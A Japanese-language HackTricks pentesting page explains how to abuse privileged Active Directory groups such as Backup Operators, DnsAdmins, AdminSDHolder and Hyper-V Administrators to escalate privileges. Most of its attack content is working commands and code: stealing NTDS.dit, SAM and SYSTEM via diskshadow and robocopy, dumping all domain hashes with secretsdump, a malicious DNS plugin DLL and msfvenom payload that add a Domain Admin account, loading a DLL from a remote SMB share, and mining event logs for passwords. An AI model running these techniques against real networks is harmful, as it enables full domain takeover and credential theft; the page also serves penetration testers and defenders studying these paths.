29 KiB
特権グループ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
管理特権を持つ既知のグループ
- Administrators
- Domain Admins
- Enterprise Admins
他にも、セキュリティ評価中に複数の攻撃ベクトルを連鎖させる際に役立つアカウントのメンバーシップやアクセストークンの特権があります。
アカウントオペレーター
- ドメイン上で非管理者アカウントとグループを作成することができます
- DCにローカルでログインすることができます
グループのメンバーを取得する:
Get-NetGroupMember -Identity "Account Operators" -Recurse
ユーザーのメンバーシップを確認してください:
しかし、新しいユーザーを追加することはできます:
また、DC01にローカルでログインすることもできます:
AdminSDHolderグループ
AdminSDHolderオブジェクトのアクセス制御リスト(ACL)は、Active Directoryのすべての「保護されたグループ」およびそれらのメンバーに権限をコピーするために使用されます。保護されたグループには、Domain Admins、Administrators、Enterprise Admins、およびSchema Adminsなどの特権グループが含まれます。
デフォルトでは、このグループのACLは「保護されたグループ」のすべてにコピーされます。これは、これらの重要なグループへの意図的または偶発的な変更を防ぐために行われます。ただし、攻撃者が例えば通常のユーザーに完全な権限を与えるようにグループAdminSDHolderのACLを変更した場合、このユーザーは保護されたグループ内のすべてのグループに対して完全な権限を持つことになります(1時間以内に)。
そして、誰かがこのユーザーをDomain Adminsから削除しようとした場合、1時間以内にユーザーはグループに戻ります。
グループのメンバーを取得する:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
AdminSDHolder グループにユーザーを追加します:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Domain Admins グループにユーザーが含まれているかどうかを確認します:
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
1時間待ちたくない場合は、次のPSスクリプトを使用して即座に復元を行うことができます:https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1
AD Recycle Bin
このグループには、削除されたADオブジェクトを読み取る権限があります。そこには興味深い情報が含まれている場合があります。
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
ドメインコントローラへのアクセス
現在のメンバーシップでは、DC上のファイルにアクセスできないことに注意してください:
しかし、ユーザーがServer Operators
に属している場合:
状況が変わります:
特権昇格
PsService
またはSysinternalsのsc
を使用して、サービスのアクセス許可を確認します。
C:\> .\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
[...]
[ALLOW] BUILTIN\Server Operators
All
これにより、Server OperatorsグループがSERVICE_ALL_ACCESSアクセス権を持っていることが確認されました。これにより、このサービスに対して完全な制御が可能です。
このサービスを悪用して、任意のコマンドを実行し特権をエスカレーションすることができます。
Backup Operators
Server Operators
のメンバーシップと同様に、Backup Operators
に所属している場合は、DC01
ファイルシステムにアクセスできます。
これは、このグループがそのメンバーにSeBackup
とSeRestore
の特権を付与しているためです。SeBackupPrivilegeにより、任意のフォルダをトラバースし、フォルダの内容をリストすることができます。これにより、他に権限が与えられていない場合でも、フォルダからファイルをコピーすることができます。ただし、ファイルをコピーするためには、フラグFILE_FLAG_BACKUP_SEMANTICSを使用する必要があります。したがって、特別なツールが必要です。
この目的のために、これらのスクリプトを使用できます。
グループのメンバーを取得する:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
ローカル攻撃
# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled
# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite
AD攻撃
たとえば、直接ドメインコントローラのファイルシステムにアクセスできます:
このアクセスを悪用して、ドメイン内のすべてのユーザーとコンピュータオブジェクトのNTLMハッシュを取得するために、アクティブディレクトリデータベース**NTDS.dit
を盗む**ことができます。
diskshadowを使用して、たとえばC
ドライブとF
ドライブにシャドウコピーを作成できます。その後、システムによって使用されていないため、このシャドウコピーからNTDS.dit
ファイルを盗むことができます:
diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 10:34:16 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit
ローカル攻撃と同様に、特権ファイル NTDS.dit
をコピーすることができます。
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
別のファイルをコピーする方法は、robocopyを使用することです:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
次に、SYSTEMとSAMを簡単に盗むことができます:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
最終的には、NTDS.dit
からすべてのハッシュを取得できます。
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
DnsAdmins
DNSAdminsグループのメンバーまたはDNSサーバーオブジェクトへの書き込み権限を持つユーザーは、DNSサーバー上でSYSTEM特権で任意のDLLをロードすることができます。
これは、ドメインコントローラーが非常に頻繁にDNSサーバーとして使用されるため、非常に興味深いです。
この****投稿に示されているように、次の攻撃は、DNSがドメインコントローラー上で実行されている場合に実行できます(これは非常に一般的です):
- DNS管理はRPC経由で行われます
- ServerLevelPluginDllを使用すると、DLLのパスの検証がゼロでカスタムDLLをロードすることができます。これは、コマンドラインから
dnscmd
ツールを使用して行うことができます - **
DnsAdmins
グループのメンバーが以下のdnscmd
**コマンドを実行すると、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
レジストリキーが作成されます - DNSサービスが再起動されると、このパスにあるDLLがロードされます(つまり、ドメインコントローラーのマシンアカウントがアクセスできるネットワーク共有)
- 攻撃者は、カスタムDLLをロードしてリバースシェルを取得したり、MimikatzのようなツールをDLLとしてロードして資格情報をダンプすることができます。
グループのメンバーを取得する:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
任意のDLLの実行
次に、DNSAdminsグループに所属するユーザーがいる場合、DNSサーバーはSYSTEM特権で任意のDLLを読み込むことができます(DNSサービスはNT AUTHORITY\SYSTEM
として実行されます)。次のコマンドを実行することで、DNSサーバーはローカルまたはリモート(SMBで共有された)DLLファイルを読み込むことができます。
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
有効なDLLの例はhttps://github.com/kazkansouh/DNSAdmin-DLLにあります。DnsPluginInitialize
関数のコードを以下のように変更します:
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
または、msfvenomを使用してdllを生成することもできます:
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
DNSサービスが開始または再起動されると、新しいユーザーが作成されます。
DNSAdminグループ内にユーザーがいても、デフォルトではDNSサービスを停止または再起動することはできません。 ただし、常に次の操作を試すことができます。
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
この特権昇格についての詳細は、ired.teamを参照してください。
Mimilib.dll
この投稿で詳しく説明されているように、Mimikatz
ツールの作成者によるmimilib.dllを使用して、kdns.cファイルを変更して、リバースシェルのワンライナーや他のコマンドを実行することができます。
MitMのためのWPADレコード
DnsAdminsグループの特権を悪用する別の方法は、WPADレコードを作成することです。このグループに所属することで、グローバルクエリブロックセキュリティを無効化する権限が与えられます。デフォルトでは、この攻撃はブロックされます。サーバー2008では、DNSサーバーにグローバルクエリブロックリストを追加する機能が初めて導入されました。デフォルトでは、Web Proxy Automatic Discovery Protocol (WPAD)とIntra-site Automatic Tunnel Addressing Protocol (ISATAP)がグローバルクエリブロックリストに含まれています。これらのプロトコルはハイジャックの脆弱性が非常に高く、任意のドメインユーザーがこれらの名前を含むコンピュータオブジェクトやDNSレコードを作成することができます。
グローバルクエリブロックリストを無効化し、WPADレコードを作成した後、デフォルト設定で動作しているすべてのWPADを実行しているマシンのトラフィックは、攻撃マシンを介してプロキシされます。ResponderやInveighなどのツールを使用して、トラフィックのスプーフィングを行い、パスワードハッシュをキャプチャしてオフラインでクラックしたり、SMBRelay攻撃を実行したりすることができます。
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
イベントログの読み取り者
イベントログの読み取り者グループのメンバーは、生成されたイベントログ(新しいプロセス作成ログなど)にアクセスする権限を持っています。ログには機密情報が含まれている場合があります。ログの表示方法を見てみましょう:
#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"
# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"
# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
Exchange Windows Permissions
メンバーはドメインオブジェクトにDACLを書き込む権限を与えられています。攻撃者はこれを悪用して、ユーザーにDCSyncの特権を与えることができます。
Microsoft ExchangeがAD環境にインストールされている場合、このグループのメンバーとしてユーザーアカウントやコンピューターを見つけることが一般的です。
このGitHubリポジトリでは、このグループの権限を悪用して特権をエスカレーションするためのいくつかの技術が説明されています。
#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V管理者
Hyper-V管理者グループは、すべてのHyper-V機能に完全なアクセス権を持っています。もしドメインコントローラーが仮想化されている場合、仮想化管理者はドメイン管理者と見なされるべきです。彼らは簡単にライブドメインコントローラーのクローンを作成し、仮想ディスクをオフラインでマウントして**NTDS.dit
**ファイルを取得し、ドメイン内のすべてのユーザーのNTLMパスワードハッシュを抽出することができます。
また、このブログでは、仮想マシンを削除すると、vmms.exe
が対応する**.vhdx
ファイルの元のファイルアクセス許可を復元しようとし、ユーザーを模倣せずにNT AUTHORITY\SYSTEM
として行います。私たちは.vhdx
ファイルを削除し、このファイルを保護されたSYSTEMファイルに向けるためのネイティブなハードリンク**を作成することができます。そうすれば、完全なアクセス権を与えられます。
もしオペレーティングシステムがCVE-2018-0952またはCVE-2019-0841に脆弱である場合、これを利用してSYSTEM権限を取得することができます。そうでない場合は、サーバー上にインストールされているアプリケーションがSYSTEMのコンテキストで実行されるサービスを持っていることを利用することができます。このサービスは、特権のないユーザーによって起動することができます。
攻撃例
この例では、Firefoxが**Mozilla Maintenance Service
**をインストールしていることがあります。このエクスプロイト(NTハードリンクの概念証明)を更新して、現在のユーザーに以下のファイルの完全なアクセス権を付与することができます。
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
ファイルの所有権を取得する
PowerShellスクリプトを実行した後、このファイルの完全な制御権を持ち、所有権を取得することができるはずです。
C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Mozillaメンテナンスサービスの開始
次に、このファイルを悪意のあるmaintenanceservice.exe
で置き換え、メンテナンスサービスを開始し、SYSTEMとしてコマンドの実行を行うことができます。
C:\htb> sc.exe start MozillaMaintenance
{% hint style="info" %} このベクトルは、ハードリンクに関連する動作を変更した2020年3月のWindowsセキュリティ更新によって軽減されました。 {% endhint %}
組織管理
このグループは、Microsoft Exchangeがインストールされた環境でも存在します。
このグループのメンバーは、すべてのドメインユーザーのメールボックスにアクセスできます。
このグループはまた、グループExchange Windows Permissions
を含むOU Microsoft Exchange Security Groups
の完全な制御を持っています(このグループを悪用して特権昇格する方法についてはリンクを参照してください)。
プリントオペレータ
このグループのメンバーには以下が付与されます:
SeLoadDriverPrivilege
- ドメインコントローラにローカルでログオンし、シャットダウンする権限
- ドメインコントローラに接続されたプリンタの管理、作成、共有、削除の権限
{% hint style="warning" %}
コマンドwhoami /priv
が昇格していないコンテキストで**SeLoadDriverPrivilege
**を表示しない場合、UACをバイパスする必要があります。
{% endhint %}
グループのメンバーを取得する:
Get-NetGroupMember -Identity "Print Operators" -Recurse
このページでは、SeLoadDriverPrivilegeを悪用して特権昇格を行う方法について説明します:
{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} abuse-seloaddriverprivilege.md {% endcontent-ref %}
リモートデスクトップユーザー
このグループのメンバーはRDP経由でPCにアクセスできます。
グループのメンバーを取得する:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
RDPに関する詳細情報:
{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}
リモート管理ユーザー
このグループのメンバーはWinRMを介してPCにアクセスできます。
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
WinRMについての詳細情報:
{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}
サーバーオペレーター
このメンバーシップにより、ユーザーは以下の特権を持つドメインコントローラを構成できます:
- ローカルでのログオンを許可する
- ファイルとディレクトリのバックアップ
- ``
SeBackupPrivilege
とSeRestorePrivilege
- システムの時刻の変更
- タイムゾーンの変更
- リモートシステムからの強制シャットダウン
- ファイルとディレクトリの復元
- システムのシャットダウン
- ローカルサービスの制御
グループのメンバーを取得する:
Get-NetGroupMember -Identity "Server Operators" -Recurse
参考文献
{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}
{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}
{% embed url="https://adsecurity.org/?p=3658" %}
{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}
{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}
{% embed url="https://github.com/tandasat/ExploitCapcom" %}
{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}
{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}
{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}
{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、独占的なNFTのコレクションです
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。